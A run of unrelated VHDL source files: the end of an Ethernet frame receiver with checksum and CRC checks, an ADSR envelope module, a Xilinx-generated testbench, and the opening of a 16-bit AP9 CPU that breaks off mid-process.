SIGNAL rIPCSOK : BOOLEAN; -- ip checksum ok
SIGNAL rByteCnt : UNSIGNED(15 DOWNTO 0);
SIGNAL cByteValid : STD_LOGIC;
SIGNAL rPesudoCS : UNSIGNED(18 DOWNTO 0);
SIGNAL rIPHeadLen : UNSIGNED(5 DOWNTO 0); -- 20~60 bytes
SIGNAL rTotalLen : UNSIGNED(15 DOWNTO 0);
SIGNAL cIPPayloadLen : UNSIGNED(15 DOWNTO 0);
SIGNAL rProtocol : STD_LOGIC_VECTOR(7 DOWNTO 0);
SIGNAL cIPCSCheckEn : BOOLEAN;
SIGNAL cTCPCSCheckEn : BOOLEAN;
SIGNAL cICMPCSCheckEn : BOOLEAN;
SIGNAL cUDPCSCheckEn : BOOLEAN;
SIGNAL rGetCheckSum : BOOLEAN;
SIGNAL rCsCheckSync : STD_LOGIC_VECTOR(7 DOWNTO 0);
BEGIN -- BLOCK blkCS
cRxDataD1 <= dataDly(0);
cByteValid <= dvDly(0);
cCheckSum <= rCheckSum(31 DOWNTO 16) + rCheckSum(15 DOWNTO 0);
--cCheckSumOk <= cCheckSum = X"FFFF";
cIPPayloadLen <= rTotalLen - rIPHeadLen;
cIPCSCheckEn <= rCsCheckSync(1) = '1';
cTCPCSCheckEn <= rCsCheckSync(3) = '1';
cUDPCSCheckEn <= rCsCheckSync(5) = '1';
cICMPCSCheckEn <= rCsCheckSync(7) = '1';
PROCESS (iClk) IS
BEGIN
IF rising_edge(iClk) THEN
rCsCheckSync(1 DOWNTO 0) <= rCsCheckSync(0)&iCheckSumIPCheck;
rCsCheckSync(3 DOWNTO 2) <= rCsCheckSync(2)&iCheckSumTCPCheck;
rCsCheckSync(5 DOWNTO 4) <= rCsCheckSync(4)&iCheckSumUDPCheck;
rCsCheckSync(7 DOWNTO 6) <= rCsCheckSync(6)&iCheckSumICMPCheck;
END IF;
END PROCESS;
PROCESS (iClk, iRst_n) IS
BEGIN
IF iRst_n = '0' THEN
rState <= IDLE;
rCheckSum <= (OTHERS => '0');
rByteCnt <= (OTHERS => '0');
rPesudoCS <= (OTHERS => '0');
rIPHeadLen <= (OTHERS => '0');
rTotalLen <= (OTHERS => '0');
rProtocol <= (OTHERS => '0');
rCheckSumOk <= FALSE;
rGetCheckSum <= FALSE;
rIPCSOK <= FALSE;
en_count_int <= '0';
oRxErr_Count_int <= (othERS => '0');
ELSIF rising_edge(iClk) THEN
rGetCheckSum <= FALSE;
IF eof = '1' THEN
rState <= IDLE;
END IF;
if en_count_int = '1' then
oRxErr_Count_int <= oRxErr_Count_int + 1;
end if;
en_count_int <= '0';
CASE rState IS
WHEN IDLE =>
rPesudoCS <= (OTHERS => '0');
rCheckSum <= (OTHERS => '0');
rByteCnt <= X"0001";
rCheckSumOk <= TRUE;
rIPCSOK <= FALSE;
IF oGetIPv4 = '1' THEN
rState <= IP4_HEAD;
rCheckSumOk <= FALSE;
END IF;
---------------------------------------------------------------------
WHEN IP4_HEAD =>
IF cByteValid = '1' THEN
rByteCnt <= rByteCnt + 1;
IF rByteCnt(0) = '1' THEN -- higher byte
rCheckSum <= rCheckSum + to_integer(UNSIGNED(cRxDataD1)&X"00");
ELSE -- lower byte
rCheckSum <= rCheckSum + UNSIGNED(cRxDataD1);
END IF;
CASE rByteCnt(5 DOWNTO 0) IS
WHEN B"000001" =>
rIPHeadLen <= UNSIGNED(cRxDataD1(3 DOWNTO 0))&B"00";
WHEN B"000011" => rTotalLen(15 DOWNTO 8) <= UNSIGNED(cRxDataD1);
WHEN B"000100" => rTotalLen(7 DOWNTO 0) <= UNSIGNED(cRxDataD1);
WHEN B"001010" => -- Protocol
rPesudoCS <= rPesudoCS + UNSIGNED(cRxDataD1);
rProtocol <= cRxDataD1;
WHEN B"001011" =>
rPesudoCS <= rPesudoCS + cIPPayloadLen;
-- source &Destination ip addr
WHEN B"001101" | B"001111" | B"010001" | B"010011" =>
rPesudoCS <= rPesudoCS + to_integer(UNSIGNED(cRxDataD1)&X"00");
WHEN B"001110" | B"010000" | B"010010" | B"010100"=>
rPesudoCS <= rPesudoCS + UNSIGNED(cRxDataD1);
WHEN OTHERS => NULL;
END CASE;
IF rIPHeadLen = rByteCnt(5 DOWNTO 0) THEN
rGetCheckSum <= TRUE;
rState <= UNKNOWN;
CASE rProtocol IS
WHEN X"01" => -- ICMP
rState <= ICMP;
en_count_int <= '1';
WHEN X"06" => -- TCP
rState <= TCP;
WHEN X"11" => -- UDP
rState <= UDP;
WHEN OTHERS => NULL;
END CASE;
END IF;
END IF;
---------------------------------------------------------------------
-- tcp & udp are the same,both contain a pesudo header
WHEN TCP | UDP =>
IF rGetCheckSum THEN
rIPCSOK <= NOT cIPCSCheckEn OR (cIPCSCheckEn AND cCheckSum = X"FFFF");
rCheckSum <= X"000"&B"0"&rPesudoCS;
END IF;
IF cByteValid = '1' THEN
rByteCnt <= rByteCnt + 1;
IF rByteCnt(0) = '1' THEN -- higher byte
IF rGetCheckSum THEN
rCheckSum <= X"000"&'0'&rPesudoCS + to_integer(UNSIGNED(cRxDataD1)&X"00");
ELSE
rCheckSum <= rCheckSum + to_integer(UNSIGNED(cRxDataD1)&X"00");
END IF;
ELSE -- lower byte
rCheckSum <= rCheckSum + UNSIGNED(cRxDataD1);
END IF;
IF rByteCnt = rTotalLen THEN
rState <= DONE;
rGetCheckSum <= TRUE;
END IF;
END IF;
---------------------------------------------------------------------
WHEN ICMP =>
IF rGetCheckSum THEN
rIPCSOK <= NOT cIPCSCheckEn OR (cIPCSCheckEn AND cCheckSum = X"FFFF");
rCheckSum <= (OTHERS => '0');
END IF;
IF cByteValid = '1' THEN
rByteCnt <= rByteCnt + 1;
IF rByteCnt(0) = '1' THEN -- higher byte
IF rGetCheckSum THEN
rCheckSum <= X"0000"&UNSIGNED(cRxDataD1)&X"00";
ELSE
rCheckSum <= rCheckSum + to_integer(UNSIGNED(cRxDataD1)&X"00");
END IF;
ELSE -- lower byte
rCheckSum <= rCheckSum + UNSIGNED(cRxDataD1);
END IF;
IF rByteCnt = rTotalLen THEN
rState <= DONE;
rGetCheckSum <= TRUE;
END IF;
END IF;
---------------------------------------------------------------------
WHEN UNKNOWN =>
IF rGetCheckSum THEN
rCheckSumOk <= NOT cIPCSCheckEn OR (cIPCSCheckEn AND cCheckSum = X"FFFF");
END IF;
---------------------------------------------------------------------
WHEN DONE =>
IF rGetCheckSum THEN
CASE rProtocol IS
WHEN X"01" =>
rCheckSumOk <= rIPCSOK AND
(NOT cICMPCSCheckEn OR
(cICMPCSCheckEn AND cCheckSum = X"FFFF"));
WHEN X"06" =>
rCheckSumOk <= rIPCSOK AND
(NOT cTCPCSCheckEn OR
(cTCPCSCheckEn AND cCheckSum = X"FFFF"));
WHEN X"11" =>
rCheckSumOk <= rIPCSOK AND
(NOT cUDPCSCheckEn OR
(cUDPCSCheckEn AND cCheckSum = X"FFFF"));
WHEN OTHERS => NULL;
END CASE;
END IF;
---------------------------------------------------------------------
WHEN OTHERS => NULL;
END CASE;
END IF;
END PROCESS;
END BLOCK blkCS;
-- USE normal inter-frame TO get link information
PROCESS (iClk, iRst_n) IS
BEGIN
IF iRst_n = '0' THEN
oLink <= '0';
oSpeed <= B"00";
oDuplex <= '0';
ELSIF rising_edge(iClk) THEN
IF iRxEr = '0' AND iRxDV = '0' THEN
oLink <= iRxData(0); -- 0=down,1=up
oSpeed <= iRxData(2 DOWNTO 1); -- 00=10Mbps,01=100Mbps,10=1000Mbps,11=reserved
oDuplex <= iRxData(3); -- 0=half-duplex,1=full-duplex
END IF;
END IF;
END PROCESS;
--CRC
crcEn2 <= crcEn AND iRxDV AND NOT iRxEr;
crcCheck : ENTITY work.eth_crc32
PORT MAP (
iClk => iClk,
iRst_n => iRst_n,
iInit => sof,
iCalcEn => crcEn2,
iData => iRxData,
oCRC => OPEN,
oCRCErr => crcErr);
--oEOF <= eof;
oCRCErr <= crcErr;
-- delay! IN order TO get OUT OF the CRC part
rxDV <= iRxDV AND dataEn AND NOT iRxEr;
oRxData_int <= dataDly(3);
oRxDV_int <= dvDly(3) AND rxDV;
--oRxDV <= dvDly(3) AND dataEn; -- changed @ 2013-05-20
PROCESS (iClk, iRst_n) IS
BEGIN
IF iRst_n = '0' THEN
dvDly <= (OTHERS => '0');
dataDly(0) <= (OTHERS => '0');
dataDly(1) <= (OTHERS => '0');
dataDly(2) <= (OTHERS => '0');
dataDly(3) <= (OTHERS => '0');
ELSIF rising_edge(iClk) THEN
dvDly <= dvDly(2 DOWNTO 0) & rxDV;
dataDly(0) <= iRxData;
dataDly(1) <= dataDly(0);
dataDly(2) <= dataDly(1);
dataDly(3) <= dataDly(2);
END IF;
END PROCESS;
--AJOUT JOHN DELAI SUR DV ET DATA OUT
--oRxData <= oRxData_dly(2);
oRxDV <= oRxDV_dly_2_int;
oSoF <= oSoF_dly_int(6);
PROCESS (iClk, iRst_n) IS
BEGIN
IF iRst_n = '0' THEN
oRxDV_dly_0_int <= '0';
oRxDV_dly_1_int <= '0';
oRxDV_dly_2_int <= '0';
oEOF <= '0';
oSoF_dly_int <= (others => '0');
oRxData_dly(0) <= (OTHERS => '0');
oRxData_dly(1) <= (OTHERS => '0');
oRxData_dly(2) <= (OTHERS => '0');
ELSIF rising_edge(iClk) THEN
oRxDV_dly_0_int <= oRxDV_int;
oRxDV_dly_1_int <= oRxDV_dly_0_int;
oRxDV_dly_2_int <= oRxDV_dly_1_int;
oEOF <= eof;
oSoF_dly_int <= oSoF_dly_int(5 downto 0) & oSoF_int;
oRxData_dly(0) <= oRxData_int;
oRxData_dly(1) <= oRxData_dly(0);
oRxData <= oRxData_dly(1);
END IF;
END PROCESS;
--TEST
oRxErr_Count <= std_logic_vector(oRxErr_Count_int);
oLenErr <= oLenErr_int;
--
PROCESS (iClk, iRst_n) IS
VARIABLE ethType : STD_LOGIC_VECTOR(15 DOWNTO 0);
BEGIN
IF iRst_n = '0' THEN
state <= IDLE;
eof <= '0';
byteCnt <= (OTHERS => '0');
oPayloadLen <= (OTHERS => '0');
oGetCtrl <= '0';
oGetARP <= '0';
oGetIPv4 <= '0';
oGetRaw <= '0';
--oDrop <= '0';
frm4Me <= '0';
crcEn <= '0';
sof <= '0';
dataEn <= '0';
destMACAddr <= (OTHERS => '0');
oTagInfo2 <= (OTHERS => '0');
oTaged <= '0';
oStackTaged <= '0';
oTagInfo <= (OTHERS => '0');
oLenErr_int <= '0';
oCheckSumErr <= '0';
oSOF_int <= '0';
ELSIF rising_edge(iClk) THEN
--oGetCtrl <= '0';
--oGetARP <= '0';
--oGetIPv4 <= '0';
--oGetRaw <= '0';
eof <= '0';
--oDrop <= '0';
sof <= '0';
oSOF_int <= '0';
IF iRxDV = '1' AND iRxEr = '1' THEN
oRxErr <= '1';
END IF;
-- IF oLenErr_int = '1' then
-- oRxErr_Count_int <= oRxErr_Count_int + 1;
-- end if;
CASE state IS
WHEN IDLE =>
crcEn <= '0';
dataEn <= '0';
frm4Me <= '0';
oGetCtrl <= '0';
oGetARP <= '0';
oGetIPv4 <= '0';
oGetRaw <= '0';
oRxErr <= '0';
oTaged <= '0';
oStackTaged <= '0';
oLenErr_int <= '0';
oCheckSumErr <= '0';
IF iRxData = X"55" THEN
state <= SFD;
byteCnt <= (OTHERS => '0');
sof <= '1';
END IF;
-----------------------------------------------------------------------
WHEN SFD =>
IF iRxData = X"55" THEN
byteCnt <= byteCnt + 1;
ELSIF iRxData = X"D5" THEN
IF byteCnt(2 DOWNTO 0) = B"110" THEN
state <= DEST_MAC;
crcEn <= '1';
dataEn <= '1'; -- 2013-05-13
oSOF_int <= '1';
byteCnt <= (OTHERS => '0');
ELSE
state <= IDLE;
END IF;
ELSE
state <= IDLE;
END IF;
IF iRxDV = '0' THEN
state <= IDLE;
eof <= '1';
oLenErr_int <= '1';
END IF;
-----------------------------------------------------------------------
WHEN DEST_MAC =>
IF iRxDV = '1' AND iRxEr = '0' THEN
byteCnt <= byteCnt + 1;
CASE byteCnt(2 DOWNTO 0) IS
WHEN B"000" => destMACAddr(47 DOWNTO 40) <= iRxData;
WHEN B"001" => destMACAddr(39 DOWNTO 32) <= iRxData;
WHEN B"010" => destMACAddr(31 DOWNTO 24) <= iRxData;
WHEN B"011" => destMACAddr(23 DOWNTO 16) <= iRxData;
WHEN B"100" => destMACAddr(15 DOWNTO 8) <= iRxData;
WHEN B"101" =>
byteCnt(2 DOWNTO 0) <= (OTHERS => '0');
state <= SOURCE_MAC;
IF destMACAddr(47 DOWNTO 8)&iRxData = iMyMAC -- unicast
OR destMACAddr(47 DOWNTO 8)&iRxData = MAC_ADDR_CTRL -- multicast for flow control
OR destMACAddr(47 DOWNTO 8)&iRxData = X"FFFFFFFFFFFF" THEN -- broadcast
--oDrop <= '1';
frm4Me <= '1';
END IF;
WHEN OTHERS => NULL;
END CASE;
END IF;
IF iRxDV = '0' THEN
state <= IDLE;
eof <= '1';
oLenErr_int <= '1';
END IF;
-----------------------------------------------------------------------
WHEN SOURCE_MAC =>
IF iRxDV = '1' AND iRxEr = '0' THEN
byteCnt <= byteCnt + 1;
IF byteCnt(2 DOWNTO 0) = B"101" THEN
state <= FRAME_TYPE;
byteCnt(2 DOWNTO 0) <= (OTHERS => '0');
END IF;
END IF;
IF iRxDV = '0' THEN
state <= IDLE;
eof <= '1';
oLenErr_int <= '1';
END IF;
-----------------------------------------------------------------------
WHEN FRAME_TYPE =>
IF iRxDV = '1' AND iRxEr = '0' THEN
byteCnt <= byteCnt + 1;
IF byteCnt(0) = '0' THEN
destMACAddr(15 DOWNTO 8) <= iRxData;
ELSE
byteCnt(1 DOWNTO 0) <= (OTHERS => '0');
ethType := destMACAddr(15 DOWNTO 8) & iRxData;
IF ethType < X"0600" AND ethType > X"0000" THEN
oGetRaw <= frm4Me;
state <= PAYLOAD;
dataEn <= '1';
END IF;
oPayloadLen <= UNSIGNED(ethType);
-- check the ethnert frame TYPE ,only ARP AND IP PACKAGE are wanted
CASE ethType IS
WHEN ETH_TYPE_IPv4 =>
oGetIPv4 <= frm4Me;
state <= PAYLOAD;
dataEn <= '1';
WHEN ETH_TYPE_ARP =>
oGetARP <= frm4Me;
state <= PAYLOAD;
dataEn <= '1';
WHEN ETH_TYPE_CTRL =>
oGetCtrl <= frm4Me;
state <= PAYLOAD;
dataEn <= '1';
WHEN x"8100" =>
oTaged <= '1';
state <= TAG_INFO1;
dataEn <= '0';
WHEN x"88A8" | x"9100" =>
oStackTaged <= '1';
state <= TAG_INFO1;
dataEn <= '0';
WHEN OTHERS => --oDrop <= '1';
state <= PAYLOAD;
dataEn <= '0';
frm4Me <= '0'; -- add @ 2013-05-13
END CASE;
END IF;
END IF;
IF iRxDV = '0' THEN
state <= IDLE;
eof <= '1';
oLenErr_int <= '1';
END IF;
-----------------------------------------------------------------------
WHEN TAG_INFO1 =>
IF iRxDV = '1' AND iRxEr = '0' THEN
byteCnt <= byteCnt + 1;
IF byteCnt(0) = '0' THEN
oTagInfo(15 DOWNTO 8) <= iRxData;
ELSE
byteCnt(1 DOWNTO 0) <= (OTHERS => '0');
oTagInfo(7 DOWNTO 0) <= iRxData;
IF oStackTaged = '1' THEN
state <= TAG_INFO2;
ELSE
state <= FRAME_TYPE;
END IF;
END IF;
END IF;
IF iRxDV = '0' THEN
state <= IDLE;
eof <= '1';
oLenErr_int <= '1';
END IF;
-----------------------------------------------------------------------
WHEN TAG_INFO2 =>
IF iRxDV = '1' AND iRxEr = '0' THEN
byteCnt <= byteCnt + 1;
CASE byteCnt(1 DOWNTO 0) IS
-- we do NOT check,but 0x8100 is expected!
WHEN B"00" => NULL;
WHEN B"01" => NULL;
WHEN B"10" =>
oTagInfo2(15 DOWNTO 8) <= iRxData;
WHEN B"11" =>
oTagInfo2(7 DOWNTO 0) <= iRxData;
byteCnt(2 DOWNTO 0) <= (OTHERS => '0');
state <= FRAME_TYPE;
WHEN OTHERS => NULL;
END CASE;
END IF;
IF iRxDV = '0' THEN
state <= IDLE;
eof <= '1';
oLenErr_int <= '1';
END IF;
-----------------------------------------------------------------------
WHEN PAYLOAD =>
IF oGetRaw = '1' THEN
IF byteCnt + 1 = oPayloadLen THEN -- PAD truncation
dataEn <= '0';
END IF;
END IF;
IF iRxDV = '1' THEN
IF iRxEr = '0' THEN
byteCnt <= byteCnt + 1;
END IF;
ELSE
state <= IDLE;
eof <= '1';
IF rCheckSumOk THEN
oCheckSumErr <= '0';
ELSE
oCheckSumErr <= '1';
END IF;
IF frm4Me = '0' THEN -- add @ 2013-05-13
oLenErr_int <= '1';
END IF;
IF oGetRaw = '0' THEN
-- oPayloadLen <= byteCnt - 4; change @ 2013-05-13
oPayloadLen <= 14 + byteCnt - 4;
ELSIF oPayloadLen > byteCnt - 4 THEN
oLenErr_int <= '1';
END IF;
-- add @ 2013-05-13
IF oGetRaw = '1' THEN
oPayloadLen <= oPayloadLen + 14;
END IF;
IF byteCnt > X"0600" OR byteCnt < X"0020" THEN
oLenErr_int <= '1';
END IF;
END IF;
WHEN OTHERS => state <= IDLE;
END CASE;
END IF;
END PROCESS;
END ARCHITECTURE rtl;
|
-- ____ _ _
-- / ___| ___ _ _ _ __ __| | __ _ __ _| |_ ___ ___
-- \___ \ / _ \| | | | '_ \ / _` |/ _` |/ _` | __/ _ \/ __|
-- ___) | (_) | |_| | | | | (_| | (_| | (_| | || __/\__ \
-- |____/ \___/ \__,_|_| |_|\__,_|\__, |\__,_|\__\___||___/
-- |___/
-- ======================================================================
--
-- title: VHDL module - adsr.vhd
--
-- project: PG-Soundgates
-- author: Hendrik Hangmann, University of Paderborn
--
-- description: ADSR Envelope
--
-- ======================================================================
library IEEE;
use IEEE.STD_LOGIC_1164.ALL;
use IEEE.NUMERIC_STD.ALL;
use IEEE.MATH_REAL.ALL;
library soundgates_v1_00_a;
use soundgates_v1_00_a.soundgates_common_pkg.all;
entity adsr is
port(
clk : in std_logic;
rst : in std_logic;
ce : in std_logic;
input_wave : in signed(31 downto 0);
start : in std_logic_vector(31 downto 0);
stop : in std_logic_vector(31 downto 0);
attack : in signed(31 downto 0);
decay : in signed(31 downto 0);
sustain : in signed(31 downto 0);
release : in signed(31 downto 0);
wave : out signed(31 downto 0)
);
end adsr;
architecture Behavioral of adsr is
type adsr_states is (s_idle, s_attack, s_decay, s_sustain, s_release, s_exit);
signal state : adsr_states;
signal i_wave : signed (31 downto 0);
signal b_stop : std_logic;
signal s_one : signed (31 downto 0) := to_signed(integer(real(1.0 * 2**SOUNDGATE_FIX_PT_SCALING)), 32);
signal s_zero : signed (31 downto 0) := to_signed(integer(real(0.0 * 2**SOUNDGATE_FIX_PT_SCALING)), 32);
signal wave64 : signed (63 downto 0);
begin
wave64 <= i_wave * input_wave;
wave <= wave64(31 downto 0);
ADSR_PROC : process (clk, rst)
begin
if rst = '1' then
i_wave <= s_zero;
state <= s_idle;
b_stop <= '0';
else
if rising_edge(clk) then
if stop(0) = '1' then
b_stop <= '1';
end if;
if ce = '1' then
if start(0) = '1' then
state <= s_attack;
end if;
case state is
when s_attack =>
i_wave <= i_wave + attack;
if i_wave >= s_one then
state <= s_decay;
end if;
when s_decay =>
i_wave <= i_wave - decay;
if i_wave <= sustain then
state <= s_sustain;
end if;
when s_sustain =>
i_wave <= sustain;
if b_stop = '1' then
state <= s_release;
b_stop <= '0';
end if;
when s_release =>
i_wave <= i_wave - release;
if i_wave <= s_zero then
state <= s_exit;
end if;
when s_exit =>
state <= s_idle;
when others =>
state <= s_idle;
end case;
end if;
end if;
end if;
end process;
end Behavioral;
|
--------------------------------------------------------------------------------
-- Company:
-- Engineer:
--
-- Create Date: 07:47:53 11/03/2011
-- Design Name:
-- Module Name: /home/cvargasc/Documentos/Uniandes/201120/Fundamentos de Sistemas Digitales/Laboratorios/practica7/practica7/testTest.vhd
-- Project Name: practica7
-- Target Device:
-- Tool versions:
-- Description:
--
-- VHDL Test Bench Created by ISE for module: test
--
-- Dependencies:
--
-- Revision:
-- Revision 0.01 - File Created
-- Additional Comments:
--
-- Notes:
-- This testbench has been automatically generated using types std_logic and
-- std_logic_vector for the ports of the unit under test. Xilinx recommends
-- that these types always be used for the top-level I/O of a design in order
-- to guarantee that the testbench will bind correctly to the post-implementation
-- simulation model.
--------------------------------------------------------------------------------
LIBRARY ieee;
USE ieee.std_logic_1164.ALL;
-- Uncomment the following library declaration if using
-- arithmetic functions with Signed or Unsigned values
--USE ieee.numeric_std.ALL;
ENTITY testTest IS
END testTest;
ARCHITECTURE behavior OF testTest IS
-- Component Declaration for the Unit Under Test (UUT)
COMPONENT test
PORT(
clk : IN std_logic;
reset : IN std_logic;
filasOut : OUT std_logic_vector(7 downto 0);
columnasOut : OUT std_logic_vector(7 downto 0)
);
END COMPONENT;
--Inputs
signal clk : std_logic := '0';
signal reset : std_logic := '0';
--Outputs
signal filasOut : std_logic_vector(7 downto 0);
signal columnasOut : std_logic_vector(7 downto 0);
-- Clock period definitions
constant clk_period : time := 10 ns;
BEGIN
-- Instantiate the Unit Under Test (UUT)
uut: test PORT MAP (
clk => clk,
reset => reset,
filasOut => filasOut,
columnasOut => columnasOut
);
-- Clock process definitions
clk_process :process
begin
clk <= '0';
wait for clk_period/2;
clk <= '1';
wait for clk_period/2;
end process;
-- Stimulus process
stim_proc: process
begin
reset <= '1';
wait for clk_period*3;
reset <= '0';
wait;
end process;
END;
|
--SETCARRY NEEDS TO BE FIXED!!!
---------------------------------------------------
--APx-ARCH AP9 Micro-processor---------------------
--16-bits width bus--------------------------------
--External clock-----------------------------------
--Builded by MicroENIX, copyright (r) 2011---------
--For detailed description about this--------------
--architechture, please refer to the AP9 reference--
--manual.------------------------------------------
---------------------------------------------------
LIBRARY IEEE;
USE IEEE.STD_LOGIC_1164.ALL;
USE IEEE.STD_LOGIC_ARITH.ALL;
USE IEEE.STD_LOGIC_UNSIGNED.ALL;
ENTITY AP9_cpu IS
PORT(
CLK : IN STD_LOGIC;
RST : IN STD_LOGIC;
HALT_REQ : IN STD_LOGIC;
KEY : IN STD_LOGIC_VECTOR(7 DOWNTO 0);
MEM_DATA : IN STD_LOGIC_VECTOR(15 DOWNTO 0);
MEM_WDATA : OUT STD_LOGIC_VECTOR(15 DOWNTO 0);
MEM_ADDR : OUT STD_LOGIC_VECTOR(15 DOWNTO 0);
MEM_RW : OUT STD_LOGIC;
VGA_DRAW : OUT STD_LOGIC;
VGA_POS : OUT STD_LOGIC_VECTOR(15 DOWNTO 0);
VGA_CC : OUT STD_LOGIC_VECTOR(15 DOWNTO 0);
PC_DATA : OUT STD_LOGIC_VECTOR(15 DOWNTO 0);
HALT_ACK : OUT STD_LOGIC
);
END AP9_cpu;
ARCHITECTURE main OF AP9_cpu IS
TYPE STATES IS (fetch, decode, exec, halted);
TYPE REGISTERS IS ARRAY(0 TO 7) OF STD_LOGIC_VECTOR(15 DOWNTO 0);
TYPE LOADREGISTERS IS ARRAY(0 TO 7) OF STD_LOGIC;
CONSTANT LOAD : STD_LOGIC_VECTOR(5 DOWNTO 0) := "110000";
CONSTANT STORE : STD_LOGIC_VECTOR(5 DOWNTO 0) := "110001";
CONSTANT LOADIMED : STD_LOGIC_VECTOR(5 DOWNTO 0) := "111000";
CONSTANT LOADINDEX : STD_LOGIC_VECTOR(5 DOWNTO 0) := "111100";
CONSTANT STOREINDEX : STD_LOGIC_VECTOR(5 DOWNTO 0) := "111101";
CONSTANT MOV : STD_LOGIC_VECTOR(5 DOWNTO 0) := "110011";
CONSTANT OUTCHAR : STD_LOGIC_VECTOR(5 DOWNTO 0) := "110010";
CONSTANT INCHAR : STD_LOGIC_VECTOR(5 DOWNTO 0) := "110101";
CONSTANT ARITH : STD_LOGIC_VECTOR(1 DOWNTO 0) := "10";
CONSTANT ADD : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0000";
CONSTANT SUB : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0001";
CONSTANT MULT : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0010";
CONSTANT DIV : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0011";
CONSTANT INC : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0100";
CONSTANT LMOD : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0101";
CONSTANT CMP : STD_LOGIC_VECTOR (3 DOWNTO 0) := "0110";
CONSTANT LOGIC : STD_LOGIC_VECTOR(1 DOWNTO 0) := "01";
CONSTANT LAND : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0010";
CONSTANT LOR : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0011";
CONSTANT LXOR : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0100";
CONSTANT LNOT : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0101";
CONSTANT SHIFT : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0000";
CONSTANT JMP : STD_LOGIC_VECTOR(5 DOWNTO 0) := "000010";
CONSTANT CALL : STD_LOGIC_VECTOR(5 DOWNTO 0) := "000011";
CONSTANT RTS : STD_LOGIC_VECTOR(5 DOWNTO 0) := "000100";
CONSTANT PUSH : STD_LOGIC_VECTOR(5 DOWNTO 0) := "000101";
CONSTANT POP : STD_LOGIC_VECTOR(5 DOWNTO 0) := "000110";
CONSTANT NOP : STD_LOGIC_VECTOR(5 DOWNTO 0) := "000000";
CONSTANT SETC : STD_LOGIC_VECTOR(5 DOWNTO 0) := "001000";
CONSTANT HALT : STD_LOGIC_VECTOR(5 DOWNTO 0) := "001111";
CONSTANT sULA : STD_LOGIC_VECTOR(1 DOWNTO 0) := "00";
CONSTANT sMEM : STD_LOGIC_VECTOR(1 DOWNTO 0) := "01";
CONSTANT sM4 : STD_LOGIC_VECTOR(1 DOWNTO 0) := "10";
CONSTANT sKEY : STD_LOGIC_VECTOR(1 DOWNTO 0) := "11";
CONSTANT FRGREATER : INTEGER := 0;
CONSTANT FRLESSER : INTEGER := 1;
CONSTANT FREQUAL : INTEGER := 2;
CONSTANT FRZERO : INTEGER := 3;
CONSTANT FRCARRY : INTEGER := 4;
CONSTANT FRARITHOF : INTEGER := 5;
CONSTANT FRDIVZERO : INTEGER := 6;
CONSTANT FRSTACKOF : INTEGER := 7;
CONSTANT FRSTACKUF : INTEGER := 8;
CONSTANT IF1 : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0000";
CONSTANT IFE : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0001";
CONSTANT IFNE : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0010";
CONSTANT IFZ : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0011";
CONSTANT IFNZ : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0100";
CONSTANT IFC : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0101";
CONSTANT IFNC : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0110";
CONSTANT IFGR : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0111";
CONSTANT IFLE : STD_LOGIC_VECTOR(3 DOWNTO 0) := "1000";
CONSTANT IFEG : STD_LOGIC_VECTOR(3 DOWNTO 0) := "1001";
CONSTANT IFEL : STD_LOGIC_VECTOR(3 DOWNTO 0) := "1010";
CONSTANT IFOV : STD_LOGIC_VECTOR(3 DOWNTO 0) := "1011";
CONSTANT IFNOV : STD_LOGIC_VECTOR(3 DOWNTO 0) := "1100";
SIGNAL OP : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL X, Y, RESULT: STD_LOGIC_VECTOR(15 DOWNTO 0);
SIGNAL FR : STD_LOGIC_VECTOR(15 DOWNTO 0);
SIGNAL auxFR : STD_LOGIC_VECTOR(15 DOWNTO 0);
BEGIN
PROCESS(CLK, RST)
VARIABLE STATE : STATES;
VARIABLE PC : STD_LOGIC_VECTOR(15 DOWNTO 0);
VARIABLE SP : STD_LOGIC_VECTOR(15 DOWNTO 0);
VARIABLE IR : STD_LOGIC_VECTOR(15 DOWNTO 0);
VARIABLE MAR : STD_LOGIC_VECTOR(15 DOWNTO 0);
VARIABLE M2 : STD_LOGIC_VECTOR(15 DOWNTO 0);
VARIABLE M4 : STD_LOGIC_VECTOR(15 DOWNTO 0);
VARIABLE RX : INTEGER;
VARIABLE RY : INTEGER;
VARIABLE RZ : INTEGER;
VARIABLE selM2 : STD_LOGIC_VECTOR(1 DOWNTO 0);
VARIABLE selM6 : STD_LOGIC_VECTOR(1 DOWNTO 0);
VARIABLE IncPC : STD_LOGIC;
VARIABLE IncSP : STD_LOGIC;
VARIABLE DecSP : STD_LOGIC;
VARIABLE LoadPC : STD_LOGIC;
VARIABLE LoadMAR : STD_LOGIC;
VARIABLE LoadIR : STD_LOGIC;
VARIABLE LoadREG : LOADREGISTERS;
VARIABLE COND : STD_LOGIC;
VARIABLE REG : REGISTERS;
BEGIN
IF(RST = '1') THEN
STATE := fetch;
PC := x"0000";
SP := x"3FFC";
IR := x"0000";
MAR := x"0000";
selM2 := sMEM;
selM6 := sULA;
IncPC := '0';
IncSP := '0';
DecSP := '0';
LoadPC := '0';
LoadMAR := '0';
LoadIR := '0';
LoadREG := x"00";
COND := '0';
MEM_RW <= '0';
VGA_DRAW <= '0';
HALT_ACK <= '0';
ELSIF(CLK'EVENT AND CLK = '1') THEN
IF(HALT_REQ = '1') THEN
STATE := halted;
END IF;
IF(LoadPC = '1') THEN
PC := MEM_DATA;
LoadPC := '0';
END IF;
CASE selM2 IS
WHEN sMEM =>
M2 := MEM_DATA;
WHEN sM4 =>
M2 := M4;
WHEN sKEY =>
M2(15 DOWNTO 8) := x"00";
M2(7 DOWNTO 0) := KEY;
WHEN sULA =>
M2 := RESULT;
WHEN OTHERS =>
END CASE;
IF(LoadMAR = '1') THEN
MAR := MEM_DATA;
LoadMAR := '0';
END IF;
